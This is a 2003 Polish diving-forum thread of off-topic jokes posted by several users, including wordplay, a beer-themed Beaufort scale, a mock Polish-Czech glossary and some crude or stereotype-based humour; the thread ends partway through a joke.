FORUM-NURAS
Froum dla nurkujących i nie tylko ...

HYDE PARK - dowcipy, nienurkowe

scubamilivoj - 25-06-2003, 03:43
Temat postu: dowcipy, nienurkowe
W dowód przyjazni Bush z Putinem zamienili się sekretarkami. Po jakimś
czasie sekretarka Busha telefonuje do niego z Rosji.

- Szefie, ja tutaj nie wytrzymam. Kazano mi związać włosy, założyć

stanik i podłużyć. spódnicę.

Wkrotce do Putina telefonuje ze Stanow jego sekretarka.

- Szefie, ja tutaj nie wytrzymam! Kazano mi rozpuścić włosy, zdjąć

stanik i tak skrócić spódnice, że lada moment będzie mi widać kaburę
i... klejnoty.

scubamilivoj - 25-06-2003, 03:44

Mąż wraca do domu lekko niewyraźny:

- Piłeś? - pyta żona.

- No coś ty, ani kropelki.

- Przecież widzę, że ledwo stoisz na nogach. Przyznaj się. Piłeś?

- Nie piłem.

- Powiedz Gibraltar.

- Piłem.

scubamilivoj - 25-06-2003, 03:45
Temat postu: uwaga, niecenzuralne...
KOBIECA SENTENCJA ROKU!!!


Panie Boże, proszę Cię o mądrość, żebym mogła zrozumieć swojego
mężczyznę, o miłość, bym mogła mu przebaczyć, i o cierpliwość,
bym mogła znieść jego humory. Nie proszę Cię o siłę, bo wtedy
bym go zaje...a.

Miłosz - 25-06-2003, 10:28

Skala Beauforta:
0 (cisza) Żagle zwisają swobodnie. Ster radzi sobie sam.

1 (słaby powiew) Żagle zaczynają ciągnąć. Jeżeli zluzujemy wszystkie
szoty, ster w dalszym ciągu da sobie sam radę.

2 (słaby wiatr) Żagle żywo łopoczą i łodka dryfuje bokiem na
zawietrzna. Szoty trzeba niestety wybrać i złapać za ster. Wypełnianie
się żagli powoduje przechył łódki, skrzynkę z piwem należy zestawić do
kokpitu.

3 (łagodny wiatr) Piwo nie chce już stać samodzielnie, należy je
podeprzeć lub trzymać w ręku.

4 (umiarkowany wiatr) Puste butelki taczają się w kokpicie, należy je
zablokować pod jedną z burt.

5 (żywszy wiatr) Wszystkie piwa chłodzone za burtą należy wybrać na
pokład.

6 (silny wiatr) Nikt nie powinien być odpowiedzialny za więcej niż
jedno piwo (jednocześnie).

7 (bardzo silny wiatr) Skrzynka z piwem nabiera tendencji do skakania
po kokpicie. Należy oddelegować osobnika do siedzenia na niej.

8 (gwałtowny wiatr) W dalszym ciągu butelkę może otworzyć pojedyńcza
osoba. Początkowe trudności z trafieniem do ust.

9 (wichura) Butelkę należy trzymać obiema rękami. tylko wyćwiczone
osobniki potrafią samodzielnie zdjąc kapsel.

10 (silna wichura) Do odkapslowania niezbędne są dwie osoby. Puste
opakowania można wyrzycać jedynie na zawietrzną. Cięzko jest trafić do ust. Przypadki wybijania pojedyńczych zębów.

11 (gwałtowna wichura) Piwo ma tendencje do wypieniania się z butelek.
Bardzo trudno pić. Wargi łopoczą i zęby wypadają.

12 (huragan) Wszystkie otwarte butelki wypieniaja się .Picie
niemożliwe. Zakaz otwierania (tymczasowy)

Kuba - 26-06-2003, 11:17

Jak się nazywa łoś morski?
Łośmiornica.

A łoś wodny śródlądowy?
Łosioś.

Jak sie nazywa srodkowa czesc losia?
Łośrodek

8 Łosi?
Łosiem

głupi Łoś
Łosioł

Jasny Łoś
Łoświecony


zły Łoś
zŁość

Łoś Ryba (zjedzona)
Łości

Ulubiona zakąska łosi?
Łośtrygi

Łoś wiszący na ścianie?
Łościenny.

Samica Łosia?
Łośka.

Łoś wysmarowany klejem?
Łoślepiający

Łoś kochanki?
Łośnieżony

Łoś po sterydach?
Łosiłek

Gdzie zamieszkują łosie?
Na łosiedlach.

Mania - 26-06-2003, 11:39

Ciekawe co na to nasz Forumowy Losiek?
Mania

Mania - 26-06-2003, 11:53

Pewnie znacie, ale jak ktoś nie zna to oto przydatny (zwłaszcza dla tych jeżdżących do Hermanic) słowniczek polsko - czeski:
Ogórek konserwowy - styrylizowany uhorek
Terminator - Elektronicky mordulec
Mam pomysł - mam napad
Miejsce stałego zamieszkania - trvale bydlisko
Stonka ziemniaczana - mandolinka bramborova
Plaster na odciski - naplast na kure oko
Wiewiórka - drevni kocur
Chwilowo nieobecny - momentalnie ne przitomni
Hot dog - parek v rohliku
Płyta CD - cedeczko
Teatr narodowy - narodne divadlo
Drodzy widzowie - ważeni divacy
Zepsuty - poruhany
Koparka - ripadlo
Gwiazdozbiór - "hvezdokupa"
"Zaczarowany Flet" - "Zahlastana fifulka"
"Być albo nie być oto jest pytanie" - Bytka abo ne bytka to je zapytka"
Komentarz meczu hokeja: "... z levicku na pravicku, pristavka i ... sito"
W liście do Koryntian - Hymn o miłości: "miłość się nie obraza i gniewem nie unosi" - "laska se ne wypina i ne wydyma sa".
Niezapomniana trójka czeskich hokejowych napastników: - Popil, Poruhal a Smutny...
Napis na przystanku - "Odchody autobusow"
"Gwiezdne Wojny" z czeskim dubbingiem: Lord Vader do Luke'a Skywalkera: "Luk! jo sem twoj tatinek!"

scubamilivoj - 26-06-2003, 12:56

Mania napisał/a:

Niezapomniana trójka czeskich hokejowych napastników: - Popil, Poruhal a Smutny...


dawno tego nie słyszałem, a jest to przepiękne!
Dzięki Maniu!

scubamilivoj - 29-06-2003, 00:46

Zona mowi do meza:
- Wlasnie przeczytalam w gazecie, ze jakis facet mial cztery zony i
skazano go na dwa lata wiezienia.
- Za kare, czy dla odpoczynku?

scubamilivoj - 29-06-2003, 00:47

Kelnerka przynosi zamowione paczki. Siedzacy za stolikiem Fafara dziekuje:

- Caluje raczki za te dwa paczki!
Po chwili kelnerka podaje ciastka. Zamawiajacy dziekuje:
- Za te ciasteczka caluje w usteczka!
Siedzacy obok Fafary kolega odzywa sie:
- Zamow jeszcze zupe.

scubamilivoj - 29-06-2003, 00:52
Temat postu: dobre...
Nauczycielka pierwszej klasy, Pani Magda Miała ciągłe kłopoty z jednym z uczniów. W koncu spytała, "Jasiu, o co ci chodzi?" Jasiu odpowiedział, "jestem za mądry do pierwszej klasy. Moja siostra jest w trzeciej klasie a ja jestem mądrzejszy od niej! Myślę, że też powinienem
być w trzeciej klasie!" Pani Magda miała dosyć. Zabrała Jasia do gabinetu dyrektora. Kiedy jasiu czekał w sekretariacie, nauczycielka wyjaśniła dyrektorowi całą sytuację. Nauczyciel powiedział pani Magdzie ,że chciałby zrobić chłopcu test i jeśli nie odpowie na żadne pytanie będzie musiał wrócić do pierwszej klasy i nie sprawiać więcej żadnych kłopotów.
Nauczycielka się zgodziła.

Jasiowi wytłumaczono wszystkie warunki i zgodził się na
przeprowadzenie testu.

Dyrektor: "Ile jest 3 x 3?"
Jasiu: "9".
Dyro: "Ile jest 6 x 6?"
Jasiu: "36".

I Jasiu odpowiadał na każde pytanie, które wymyślał dyrektor uważając, że trzecioklasista powinien znać odpowiedzi. Dyrektor spojrzał na Panią Magdę i powiedział, "Myślę, że Jasiu może iść do trzeciej klasy." Pani Magda spytała czy i ona może zadać Jasiowi kilka pytań?,Zarówno dtrektor jak i Jasiu zgodzili się. (i się zaczeło )

Pani Magda spytała, "co krowa ma cztery, czego ja mam tylko dwa?
Jasiu, po chwili "Nogi."
Pani Magda: "Co ty masz w spodniach, a ja tego nie mam ?"
Jasiu:"Kieszenie."
Pani Magda: "Co zaczyna się na "K" kończy na "S", jest owłosione, zaokrąglone, smakowite i zawiera białawy płyn?"
Jasiu: "Kokos"
Pani Magda: "Co wchodzi twarde i różowe a wychodzi miękkie i klejące?"
Oczy dyra otworzyły się naprawdę szeroko ale zanim zdążył powstrzymać odpowiedź Jasia, Jasiu powiedział.
Jasiu: "Guma do żucia"
Pani Magda: "Co robi mężczyzna stojąc, kobieta siedząc, a pies na trzech nogach?"
Dyrektor ponownie otworzył szeroko oczy ale zanim zdążył się odezwać...
Jasiu: "Podaje dłoń".
Pani Magda: "Teraz zadam kilka pytań z serii "Kim jestem?", dobrze?"
Jasiu: "OK".
Pani Magda: "Wkładasz we mnie swój drąg. Przywiązujesz mnie. Jest mi mokro wcześniej niż tobie".
Jasiu: "Namiot"
Pani Magda: "Palec wchodzi we mnie. Bawisz się mną, kiedy się nudzisz. Dróżba zawsze ma mnie pierwszą".
Dyrektor patrzy niespokojnie i widać, że jest nieco spięty.
Jasiu: "Obrączka ślubna"
Pani Magda: "Mam różne rozmiary. Gdy nie czuję się dobrze, kapię. Kiedy mnie dmuchasz, czujesz się dobrze".
Jasiu: "Nos"
Pani Magda: "Mam twardy drążek. Mój szpic zagłębia się. Wchodzę z drżeniem".
Jasiu: "Strzała"

Dyrektor odetchnął z ulgą, "Wyślijcie Jasia od razu na studia! Ja sam na ostatnie dziesięć pytań źle odpowiedziałem!"

scubamilivoj - 29-06-2003, 01:13
Temat postu: do piekła...
Pewien facet umarl. W bramie nieba powital go sw. Piotr i zaprosil do
srodka. Kiedy wszedl, zobaczyl dlugi korytarz, a na je go koncu male
pomieszczenie z okienkami. Pyta swietego Piotra:
- To jest tak upragnione przez wszystkich ludzi niebo?
- Tak.
Facet wszedl do pomieszczenia. Zerknal przez malutkie okienko i zobaczyl
usmiechnietych i bawiacych sie ludzi.
- A za tym oknem to co jest?
- To jest pieklo.
- Serio? To ja wole isc do piekla!
- Ale stamtad juz nie ma powrotu.
- Nie szkodzi, wole isc do piekla.
Swiety Piotr odprowadzil faceta do bramy i pyta:
- Na pewno tego chcesz?
- Tak, nie marudz!
Facet zszedl do bramy piekiel. Wita go usmiechniety Lucyfer, wrecza mu
widly i mowi:
- Kociol numer 77.
- Jak to? Widzialem z gory ludzi bawiacych sie i radosnych, a ty mi tu
widly dajesz?
- Aaa, tamci. To jest nasz dzial reklamy.

Miłosz - 29-06-2003, 10:48

MANIFEST PŁCI WŁAŚCIWEJ

1. Jesteśmy prości.

2. Nie rozumiemy żadnych subtelnych, pośrednich próśb. Pośrednie
prośby nie działają. Te pośrednie, postawione bezpośrednio przed
naszym nosem też nie działają. Po prostu powiedz czego chcesz.

3. Jeżeli zadajesz pytanie, na które nie oczekujesz odpowiedzi, nie zdziw
się, że otrzymasz odpowiedź, której raczej nie chciałaś usłyszeć.

4. My jesteśmy PROŚCI. Jeżeli proszę o podanie mi chleba, to nie mam na
myśli nic innego. Nie mam do ciebie pretensji, że nie ma na stole chleba.
Nie ma tu żadnych niedomówień czy żalu. My jesteśmy naprawdę prości.

5. My jesteśmy PROŚCI. Nie ma sensu pytać mnie o czym myślę, bo przez 96.5%
czasu myślę o seksie. I nie, nie jesteśmy opętani. To po prostu nam się
najbardziej podoba. Jesteśmy PROŚCI.

6. Czasem nie myślę o tobie. Nie szkodzi. Proszę przywyknij do tego. Nie
pytaj o czym myślę, jeżeli nie jesteś przygotowana do rozmowy na temat
nurkowania, polityki, ekonomii, filozofii, picia, piersi, nóg czy fajnych
samochodów.

7. Piątek + sobota + niedziela = wyjazd = kumple = nurkowanie =
piwo. To coś takiego jak księżyc w pełni. Nie do
uniknięcia.

8. Zakupy nam się nie podobają i nigdy nie będą.

9. Gdy gdzieś idziemy, cokolwiek założysz, będziesz w tym wyglądać
doskonale. Przysięgam.

10. Masz wystarczająco dużo ciuchów. Masz wystarczająco dużo butów. Płacz to
szantaż. Bankrutowanie mnie nie jest okazywaniem uczucia z twojej strony.

11. Większość mężczyzn posiada trzy pary butów. Powtarzam raz jeszcze:
jesteśmy prości. Skąd ci przychodzi do głowy pomysł, że pomogę ci wybrać z
twoich 30 par tę, która najlepiej pasuje.

12. Proste odpowiedzi, jak TAK i NIE, są doskonale akceptowane, bez
znaczenia na jakie pytanie.

13. Jeżeli masz jakiś problem, przychodź do mnie tylko po pomoc w jego
rozwiązaniu. Nie przychodź się użalać, jakbym był jakąś twoją przyjaciółką.

14. Ból głowy, który trwa 17 miesięcy, to nie ból głowy. Idź do lekarza.

15. Jeżeli powiem coś, co może być zrozumiane w dwojaki sposób i jeden z
nich spowoduje, że będziesz nieszczęśliwa czy zmartwiona, wiedz że mam na
myśli to drugie.

16. Wszyscy mężczyźni znają tylko 16 kolorów. Śliwka to owoc, nie kolor.

17. I co to za pieprzony kolor ta fuksja? I poza tym jak się to pisze?

18. Lubimy piwo, tak samo jak wy lubicie torebki. Wy tego nie rozumiecie, my
również.

19. Jeżeli cię pytam, co się stało, a ty odpowiadasz Nic , wtedy ci wierzę i
jestem przekonany, że wszystko jest w porządku.

20. Nie pytaj mnie Kochasz mnie? Możesz być pewna, że gdybym cię nie kochał,
nie byłbym z tobą.

21. Reguła podstawowa w przypadku najmniejszej wątpliwości dotyczącej
czegokolwiek: weź to, co najprostsze.

MY JESTEŚMY NAPRAWDĘ PROŚCI. PROSZĘ ROZESŁAĆ TEN MANIFEST DO JAK NAJWIEKSZEJ LICZBY KOBIET, ŻEBY W KOŃCU ZROZUMIAŁY MĘŻCZYZN RAZ NA ZAWSZE. PROSZĘ RÓWNIEŻ ROZESŁAĆ GO DO JAK NAJWIĘKSZEJ LICZBY MĘŻCZYZN, ŻEBY WIEDZIELI, ŻE NIE SĄ SAMOTNI W SWOJEJ WALCE.

GosiaS - 06-07-2003, 21:14

umarłam ze śmiechu...... dzięki
GosiaS - 10-07-2003, 10:55

Pewna kobieta podlewała rośliny w swoim ogrodzie, kiedy zobaczyla trzech staruszków, z wypisanymi na twarzy latami doświadczeń,
którzy stali naprzeciw jej ogrodu.
Ona nie znała ich, więc powiedziała:
- Nie wydaje mi się, abym was znała, ale musicie być głodni.
Wejdźcie, proszę, do domu i zjedzcie coś.
Oni odpowiedzieli:
- Nie ma w domu męża?
- Nie , odpoczywa, nie ma go w domu.
- W takim razie nie możemy wejść - odpowiedzieli.
Przed zmierzchem, kiedy mąż wrócił do domu, kobieta
opowiedziała mu to, co się zdarzyło.
- A więc, skoro wróciłem, zatem poproś ich teraz, aby weszli.
Kobieta wyszła, aby zaprosić trzech mężczyzn do domu.
- Nie możemy wejść wszyscy do domu - wyjaśnili staruszkowie.
- Dlaczego? - chciała się dowiedzieć kobieta.
Jeden z mężczyzn wskazał na pierwszego ze swoich przyjaciół i wyjaśnił:
- On ma na imię Dostatek.
Następnie wskazał drugiego - On ma na imię "Sukces", a ja mam na imię "Milość".
Teraz wróć i zdecyduj razem z Twoim mężem, którego z nas zaprosicie do waszego domu.
Kobieta weszła do domu i opowiedziała swojemu mężowi wszystko,
co powiedzieli jej trzej mężczyźni. Ten się ucieszył :
- Jak pięknie!! - Zaprosimy Dostatek, aby wszedł i wypełnił nasz
dom!!!
Jego żona nie zgadzała się i spytała:
- Mój drogi, dlaczego nie mielibyśmy zaprosić Sukcesu?
Ich córka słuchała tej rozmowy i weszła im w słowo:
- Nie byłoby lepiej, gdybyśmy pozwolili wejść Miłości?
W ten spósób nasza rodzina byłaby pełna miłości.
- Posłuchajmy rady naszej córki, powiedzial mąż do zony. Pójdź i zaproś Miłość, niech będzie naszym gosciem.
Żona wyszła i spytała
- Ktory z Was to Miłość? Niech wejdzie proszę i będzie naszym gościem.
Miłość usiadła na wózku i ruszyła w kierunku domu.
Także dwaj pozostali podnieśli się i ruszyli za nią.
Trochę zdziwiona kobieta pyta Dostatek i Sukces:
- Zaprosilam tylko Miłość, dlaczego idziecie także wy?
Oni odpowiedzieli razem:
- Jeżeli zaprosiłabyś Dostatek lub Sukces, pozostali dwaj
zostaliby na zewnątrz, ale zaprosiłaś Miłość, a tam gdzie idzie ona, idziemy i my.
- Tam, gdzie jest Miłość, jest też Dostatek i Sukces.

anatol - 10-07-2003, 11:52

Gdy NASA po raz pierwszy wysylala astronautów w kosmos,
doszla do wniosku, ze zwykle dlugopisy kulkowe nie beda dzialac przy
zerowej grawitacji. By zwalczyc ten problem, naukowcy z ramienia NASA
pracowali przez niemal 6 lat kosztem 12 milionów dolarów i wynalezli
dlugopis, który pisze w zerowej grawitacji, do góry nogami, pod woda,
niemalze na kazdych powierzchniach wlaczajac w to szklo i w zakresie
temperatur od ujemnych do +300C.


Spotykajac ten sam problem, Rosjanie uzyli olówków.

anatol - 10-07-2003, 12:04

Mężczyźni na falach
Przeman - 15-07-2003, 12:57

*Dworzec Centralny w Warszawie w kasach
MIĘDZYNARODOWYCH.
Bohaterowie: Kasjerki 1, 2; turystka i jej mąż
(oboje z Ameryki),
jakiś facet za nimi.
Podchodzi turystka do kasy.
- Hello, when does the next train to Moscow leave?
Kasjerka 1:
- Słucham?
- When does the next train to Moscow leave?
- Proszę głośniej bo nie rozumiem.
- Excuse me?
- A, pani Angielka... Zośka, zawołaj Krysię, ona chyba zna
angielski... (przypominamy: kasa MIĘDZYNARODOWA).
Zośka:
- Nie ma Krysi, poszła na papierosa.
- No to Baśkę, ona chyba po niemiecku zna...
- Dzisiaj nie pracuje.
- No to chodź tu sama, bo nie rozumiem co klientka
chce...
- Dobra idę.
Po chwili, Zośka:
- Słucham?
Turystka:
- One ticket to Moscow, please.
- Do Moskwy? Da, pożałujsta. A w kotoryj czas?
- Excuse me?
- Nu davajte, sleduszcij pojezd idet v vosiem czasov.
Hotite bilet pokupit'?
- (do męża) oh my god. I don't understand her...
Jakiś facet za nimi:
- Excuse me. Could I help you with this?
- Yes, please, thank you.
Facet do kasjerki:
- Przepraszam, o której najbliższy pociąg do Moskwy?
- A pan co chciał? Kolejka jest!

ukusek - 20-07-2003, 20:55

Spotyka sie 2 kumpli i jeden mówi do drugiego:
Rozwodze sie.
>- Ja tez.
A to czemu?
- Przejezyczylem sie. Poszedlem z zoną na zakupy i chcialem jej powiedziec, "ale masz zniszczoną torbe", a powiedzialem niechcący: "ale masz zniszczoną morde".
No i nie dala sobie wytlumaczyc, ze to niechcący...
To tak jak u mnie - mówi drugi kumpel. - Moja zona tez nie dala sobie
wytlumaczyc, ze to bylo zwykle przejezyczenie.
A co powiedzialeś?
- Jedliśmy obiad. Chcialem powiedziec "kochanie podaj mi sól", a
powiedzialem: "Ty stara pierd....... kur.... Zjeb..... mi cale zycie!"

ukusek - 20-07-2003, 20:58

Na balkonie w bloku opala sie piekna naga kobieta.
Nagle z góry zjezdzakartka na sznurku.
Na kartce jest napisane:
- Jesli chce sie Pani ze mna kochac prosze pociagnac dwa razy,
a jesli nie to prosze pociagnac czterdziesci razy, z czego ostatnie 10 - szybciej.

Miłosz - 20-07-2003, 23:09

Oto tekst, który ukazał się we francuskim piśmie "Rohtas".

"Polska. Oto znajdujemy się w świecie absurdu.
Kraj, w którym co piąty mieszkaniec stracił życie w czasie drugiej wojny światowej, którego jedna piąta narodu żyje poza granicami i w którym co trzeci mieszkaniec ma 20 lat.

Kraj brutalnie oderwany od wiekowych tradycji, który odbudował swoją stolicę według obrazów Canaletta, a Stare Miasto odtworzył jako nowe.

Kraj, który ma dwa razy więcej studentów niż Francja, a inżynier zarabia tu mniej niż przeciętny robotnik.

Kraj, gdzie człowiek wydaje dwa razy więcej niż zarabia, gdzie przeciętna pensja nie przekracza ceny trzech par dobrych butów, gdzie jednocześnie nie ma biedy, a obcy kapitał pcha się drzwiami i oknami.

Kraj, w którym koncesjami rządzą monopoliści.

Kraj ze stolicą, w której centrum stoją nowoczesne biurowce, oferujące pomieszczenia po10-35 USD za metr.

Kraj, w którym cena samochodu równa się trzyletnim zarobkom, a mimo to trudno znaleźć miejsce na parkingu.

Kraj, w którym można sobie kupić chodniki, postawić parkomaty i płacić państwu tylko 10 procent podatku od zysku.

Kraj, w którym otrzymanie paszportu do niedawna stanowiło problem, a mimo to ponad 3,5 mln obywateli rocznie wyjeżdża na wczasy za granicę.

Jedyny kraj byłego bloku socjalistycznego , w którym obywatelowi wolno posiadać dolary, choć nie wolno mu ich kupić ani sprzedać poza bankami i kantorami.

Cudzoziemiec musi zrezygnować tu z jakiejkolwiek logiki, jeśli nie chce stracić gruntu pod nogami.

Dziwny kraj, w którym z kelnerem można porozmawiać po angielsku, z kucharzem po francusku, a ministrem lub jakimkolwiek urzędnikiem państwowym tylko za pośrednictwem tłumacza."

Polacy!
Jak wy to robicie?
caly ten tekst jest tlumaczeniem z francuskiej gazety

Mania - 21-07-2003, 15:45

Najkrótsze książki świata:

"Przewodnik po demokracji w krajach arabskich."
"Miec czyste rece" - praca zbiorowa pod red. Prezesa Rady Ministrów
Leszka Millera
"Ksiazka telefoniczna Amiszów"
"Dominacja na swiecie na przykladzie Bulgarii."
"Etykieta randkowa." M. Tyson
"Kariera Piosenkarki - Supergwiazdy" M. Sewiollo
"Dlaczego lubie Ameryke - wspomnienia Osamy bin Ladena"
"Jak zyc uczciwie - wzorce postepowania z kuluarow sejmowych"
"Spis czeskich bohaterow wojennych"
"Korzysci dla mniejszosci w panstwie wyznaniowo - narodowym na
przykladzie Izraela"
"Uczciwe i apolityczne media"-W.Czarzasty, L.Nikolski, R. Kwiatkowski
"Kurs obsługi magnetofonów"- A.Michnik
"Zasady transferu gotówki walutowej z zagranicy w świetle przepisów
i rozporządzeń Ministerstwa Finansów" - L.Miller
"Magazynowanie zboża w oparciu o ideę Banków Zbożowych wg koncepcji
Nikodema Dyzmy"-pos. Bonda
"Jak sie ubezpieczyć na życie" - praca pod redakcją Janusza Wieczerzaka
"Erotyka i polityka" - Renata Beger
"Zacznijmy od zera. Kilka pytań do premiera Millera"- Z.Ziobro
"Podstawy lobbingu." - Lew Rywin

Mania

Aisa - 21-07-2003, 16:41

Uroki pseudorzeczywistości filmu amerykańskiego

1. Szef policji jest zawsze czarny.
2. Uczciwy i ciężko pracujący policjant zostaje zwykle zastrzelony na kilka dni przed emerytura.
3. Detektyw rozwiąże sprawę tylko wtedy, kiedy jest od niej odsunięty.
4. Podczas dowolnego dochodzenia policyjnego trzeba przynajmniej raz odwiedzić lokal ze striptizem.
5. Jeżeli jesteś ładna blondynka, bardzo prawdopodobne jest, ze w wieku 22 lat zostaniesz światowym ekspertem od energii nuklearnej.
6. Komputery nigdy nie maja kursora na ekranie, ale zawsze maja napis "Enter Password Now"
7. Monitor komputerowy wyświetla obraz na twarzy pracującego przy nim człowieka.
8. Wszystkie zdjęcia (zwłaszcza te przechowywane w systemach komputerowych) można powiększać w nieskończoność aby odczytać
dowolnie małe szczegóły.
9. Jeżeli jesteś mistrzem karate, twój przeciwnicy odłożą bron palna i pozwolą ci się po kolei zmasakrować
10. Im bardziej niedoświadczeni i spragnieni są kochankowie, tym większe prawdopodobieństwo równoczesnego orgazmu.
11. Wszystkie łóżka maja specjalna pościel, w której kołdra jest w kształcie litery L, tak, ze zakrywa kobietę po pachy, a faceta obok niej tylko do pasa.
12. Kobieta, która nosi perukę i długi płaszcz jest psychopatycznym morderca.
13. Wszyscy kosmici znają angielski.
14. Kiedy się ucieka przez miasto, zwykle można zgubić śledzących nas w paradzie z okazji dnia Św.. Patryka - bez względu na porę roku.
15. W wiezieniu zawsze jest ktoś, kto potrafi bez problemu załatwić chociażby i walec - trzeba mieć tylko odpowiednia ilość fajek do zapłaty.
16. Nowo narodzone dzieci w filmie zawsze są ogromne, na dodatek czyste no i maja suche włosy.
17. Zawsze da się zaparkować tuz pod budynkiem, do którego chcemy się udać.
18. Kiedy płacisz za taksówkę, nie patrz na portfel. Po prostu wyjmij pierwszy lepszy banknot. Będzie to zawsze dokładnie tyle, ile należy się za kurs.
19. Wiadomości w telewizji zawsze pokazują cos, co ma akurat w tym momencie ważne znaczenie dla twojego życia.
20. Dzwoni telefon, ktoś mówi "włącz telewizor na kanał "dwunasty", gdy bohater to zrobi zawsze zobaczy ważna wiadomość od samego początku.
21. Wszystkie torby wynoszone z supermarketów zawierają przynajmniej jedna bagietkę.
22. Jeżeli widać ogromna szybę, za kilka chwil niechybnie ktoś zostanie przez nią wyrzucony.
23. Nawet, jeżeli bohater jedzie prosta droga, konieczne jest, żeby kręcił kierownica w prawo i w lewo, co kilka chwil.
24. Jeżeli musisz rozbroić bombę i zastanawiasz się, który kabel przeciac,nie martw się, zawsze wybierzesz właściwy kolor.
25. Wszystkie bomby są wyposażone w duże czerwone zegary, dzięki którym dokładnie wiadomo, kiedy wybuchnie.
26. Drewniane stoły SA kuloodporne.
27. W sypialni naczelnika policji telefon jest zawsze po tej stronie, po której śpi jego żona.

Pedro - 21-07-2003, 17:00

Kilka sposobów na wymianę żarówki....

1. Sposób irlandzki
Zapraszasz piętnastu Irlandczyków. Jeden trzyma żarówkę, a reszta pije, aż pokój zacznie wirować.

2. Sposób sycylijski
Jeden Sycylijczyk wymienia żarówkę, a dwóch zajmuje się świadkami.

3. Po żydowsku
Potrzebnych jest pięciu Żydów. Jeden wymienia żarówkę, a czterech narzeka, że ta nowa pewnie nie będzie świecić tak jasno, jak ta stara.

4. W duchu zen
Musisz przyprowadzić dwóch mistrzów zen. Jednego, by wymienił żarówkę i jednego, by jej nie wymieniał.

5. Sposób gejowski
Jeden dzwoni po elektryka, a drugi miesza martini.

6. Egzystencjalnie
Jeden egzystencjalista wkręca żarówkę, a drugi obserwuje, jak żarówka sama w sobie symbolizuje żarzące się nadzieje subiektywnego postrzegania rzeczywistości w bezkresnym absurdzie wieczności.

7. Sposób feministek
Zapraszasz dziesięć kobiet. Jedna wymienia żarówkę, a dziewięć tworzy grupę wsparcia.

8. Po chrześcijańsku
Potrzebne są trzy osoby... a właściwie jedna.

9. Dla palących
Potrzeba co najmniej pięciu palaczy. Kiedy razem zapalą, żarówka też zrobi to dla towarzystwa.

10. Sposób gwiazdy disco polo
Jeden wymienia żarówkę, a drugi pisze, jak bardzo tęskni za tą starą.

11. Surrealistycznie
Ktoś trzyma żyrafę, a ktoś napełnia wannę mnóstwem kolorowych drobiazgów.

12. Dla mających dużo czasu
Potrzebny jest tylko jeden zwolennik teorii ewolucji, ale za to wymiana
żarówki może potrwać 8 milionów lat.

13. Zoologicznie
Potrzebny jest wprawdzie tylko jeden goryl, ale za to mnóóóóstwo żarówek.

14. Dla osób z problemami
Jeden psychiatra zmieni żarówkę, ale pod warunkiem, że żarowka będzie się chciała zmienić...

15. Sposób lesbijski
Potrzebne są trzy lesbijki. Jedna wymienia, a dwie rozprawiają, o ile lepiej
jest to robić bez mężczyzny.

I jeszcze coś.....

Facet podchodzi do kolegi pyta:
- Zgadasz sie na udzial w seksie zbiorowym?
- A kto w nim bierze udzial?
- Ja, ty i twoja zona.
- Nie, nie zgadzam sie.
- No to cie skreslam z listy...

i na deser....

Pijani studenci pytają taksówkarza:- Zawiezie nas pan do akademika za dychę?!
- Zwariowaliście?! To za mało!!!- A za trzy, cztery.....?- To zupełnie co innego - odpowiada - Wsiadajcie!
Podjeżdżają pod akademik.- Jesteśmy na miejscu - mówi taksiarz. Na to jeden ze studentów odwraca się do kumpli i mówi:
- No, to chłopaki: trzy, cztery ......- Dzięęęęęękuuuuuuujęęęęęęmyyyyyyy!!!!

scubamilivoj - 24-07-2003, 15:29
Temat postu: idealny joke!!!
Od Mati'ego

Jedzie dziadek maluchem, zgarbiony, ręce mu się trzęsĹĄ na kierownicy
Nagle wyprzedzil go Mercedes, dziadek się wystraszyl, Mercedes zatrzymal się na swiatlach, dziadek z tego strachu nie dał rady, przyjebal w tyl Mercedesa

Wysiada dwóch byków:
- i co dziadek przyjebales ?
- tak (cieńkim wystraszonym głosem)
- masz kasę?
- nie
- a ubezpieczenie?
- nie
- a syna?
- mam
- to masz tu komóreczkę, dzwoń po syna to odrobi u mnie bo ty się do
roboty nie nadajesz.

Dziadek zadzwonil, podjeżdzaja 3 Mercedesy S-klasa, wysiada kilku
byków i jeden z nich mówi:
- i co tatus???? Przy... jak cofal?

scubamilivoj - 25-07-2003, 01:00
Temat postu: zaba
Siedzi facet nad stawem i lowi ryby.
W pewnym momencie wynurza sie zaba i pyta:
- Prosze Pana, czy ja moglabym wejsc na splawik i skoczyc do wody?
- A skocz sobie - odpowiada facet.
Zaba skoczyla, a facet dalej lowi ryby.
Po chwili zaba znowu sie wynurza i pyta:
- Prosze Pana, a czy ja moglabym jeszcze raz wejsc na splawik i skoczyc
do wody?
- No, skocz sobie - odpowiada facet.
Zaba skoczyla, a facet dalej lowi ryby.
Po chwili zaba znowu sie wynurza i pyta:
- Prosze Pana, a czy ja moglabym usiasc kolo Pana?
- A siadaj - odpowiada facet.
Zaba siada kolo faceta, a ten dalej lowi ryby.
Siedza tak sobie w milczeniu, az ze stawu wynurza sie druga zaba i
pyta:
- Prosze Pana, czy ja moglabym wejsc na splawik i skoczyc do wody?
Na to pierwsza zaba:
- Spierdalaj! Dobrze mówie, Prosze Pana?

scubamilivoj - 25-07-2003, 01:13
Temat postu: naukowcy powiedzieli...
Rosyjscy naukowcy po wielu latach badań ustalili, że gdyby całą wodę
ze wszystkich oceanów, mórz, jezior, rzek, stawów, strumyków i wodę
zawartą w atmosferze wpuścić do rurki o średnicy 1 cm, to ta rurka
musiałaby mieć taką długość że ja pie...

MArcin M. - 25-07-2003, 22:41

Witajcie. To i ja swoje skromne dwa grosze dorzucę:

Przychodzi facet do domu, o trzeciej nad ranem, nawalony jak stodoła, i krząta się po pokoju potykając się raz po raz o jakieś tam rzeczy. Obudził oczywiście żonkę, która od razu wyskoczyła z łóżka, i do niego:
- Co tu się dzieje, jest trzecia w nocy, jesteś pijany, gdzieś ty był? A w ogóle to o której się do domu wraca, co???
A gościu nie wzruszony odpowiada:
- O pszszeprraszszaaam barrdzoo, jja nigzie nie wraacam.
Ja tyylkoppooo giitarę wpaadłem.

I coś w tym samym klimacie:

Wraca gościu do domu, po małym męskim spotkanku o czwartej nad ranem. Wlazł do domu i skrada się cichaczem, bo powiedział żonie że wróci do 12-tej. Pech chciał, że właśnie w tym czasie kukułka wykukała tą nieszczęsną czwartą. Facet myśli co tu zrobić:
- K**wa że też nie miała kiedy kukać. Teraz stara się obudzi, i się wszystko wyda.
Ale tak sobie wymyślił, że szybko dokuka do dwunastu razy, to się nie wyda. Jak wymyślił, tak zrobił.
Rano budzą się razem, on pyta się żony co tam słychać. A ona mu na to:
- Wszystko OK, tylko musimy chyba kukułkę do naprawy oddać.
- Tak, a co się stało
